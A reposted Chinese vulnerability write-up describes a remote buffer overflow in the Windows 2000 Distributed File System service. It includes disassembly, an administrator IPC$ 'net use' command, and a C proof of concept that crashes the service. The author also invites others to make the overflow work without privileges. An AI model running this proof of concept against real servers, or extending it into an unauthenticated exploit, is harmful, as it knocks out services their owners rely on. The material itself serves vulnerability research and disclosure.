登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  WordPress wp-trackback.php..
  PHP-Nuke web中心系统中的用..
  PHP-Nuke web中心系统中的用..
  新浪UC ActiveX多个远程栈溢..
  MS06-055 XP-SP2 Exploit Ch..
  Setuid() - nproc limit 类型..
  利用异常处理执行shellcode实..
  ipb search.php 漏洞分析及思..
  Microsoft Windows图形渲染引..
  CCProxy 6.2溢出学习笔记
  Php5 GPC绕过缺陷
  IE mhtml redirection漏洞利..
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->漏洞分析
最近发现的一个Distributed File System服务远程溢出问题
发表日期:2006-03-12作者:rootshell[转贴] 出处:安全焦点  

最近发现的一个Distributed File System服务远程溢出问题
date:03/13/2005
author:fzk
qq:1734398
MSN:sysadm@21cn.com
email:sysadm@21cn.com
URL:http://www.ns-one.com


1.前言:
    最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个
溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生
溢出,不知道这样的问题,属于不属于安全漏洞呢?

    今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行
溢出,那这个就算真正的安全问题了,而且危害性肯定也强了,那当然也记得给我发个信通知一下如何实现.:)


2.问题细节:
    这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数
上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行
边界检查,导致溢出的代码如下:

NetrDfsAddStdRootForced函数
...............
  .text:0100A2B5                 mov     edi, [ebp+arg_C]
  .text:0100A2B8                 test    edi, edi
  .text:0100A2AF                  jz      loc_100A373
...............
  .text:0100A31F                 push    edi
  .text:0100A320                 push    1
  .text:0100A322                 push    [ebp+arg_8]
  .text:0100A325                 lea     eax, [ebp+var_214]
  .text:0100A32B                 push    [ebp+arg_4]
  .text:0100A32E                 push    eax
  .text:0100A32F                 call    SetupStdDfs
...............
  SetupStdDfs函数
.text:01007FB4                 push    ebp
.text:01007FB5                 mov     ebp, esp
.text:01007FB7                 sub     esp, 658h
.text:01007FBD                 push    ebx
.text:01007FBE                 mov     ebx, ds:wcscpy
.text:01007FC4                 push    esi
.text:01007FC5                 push    edi
.text:01007FC6                 xor     esi, esi
.text:01007FC8                 xor     edi, edi
.text:01007FCA                 cmp     [ebp+arg_10], esi
.text:01007FCD                 jnz     short loc_1007FE2
...............
.text:01007FE2 loc_1007FE2:
.text:01007FE2                 push    [ebp+arg_10]
.text:01007FE5                 lea     eax, [ebp+var_43C]
.text:01007FEB                 push    eax
.text:01007FEC                 call    ebx ; wcscpy

调用流程为:

NetrDfsAddStdRootForced->SetupStdDfs->wcscpy


3.溢出测试方法:

(1).先使用目标机器的管理员组成员建立一个ipc$连接
net use \\目标机器ip\ipc$ 管理员组成员密码 /user:管理员组成员账号

(2).使用如下测试代码测试:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Lm.h>
#include <Lmdfs.h>

#pragma comment(lib, "Netapi32.lib")

int main (void)
{
wchar_t a[]=L"\\\\ip\\"; //把ip替换为你的目标机器ip
wchar_t b[4000];
LPWSTR ServerName=a;
LPWSTR RootShare=L"fzk";
LPWSTR Comment=L"fzk";
LPWSTR Store;
int i;

for (i = 0; i< 2000;i++)
     wcscat(b, L"A");

Store = b;

if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)
      return TRUE;

else
     return FALSE;
}

把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的
Distributed File System服务已经down掉了

4.附加信息:
在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了
Distributed File System服务在windows 2000服务器下面是默认开放的
如果有高手能实现不用任何权限来进行溢出,应该可以干掉很多windows 2000的服务器
当然也记得通知我
email:sysadm@21cn.com
qq:1734398
MSN:sysadm@21cn.com

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 最近发现的一个Distributed File System服务远程溢出问题
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00634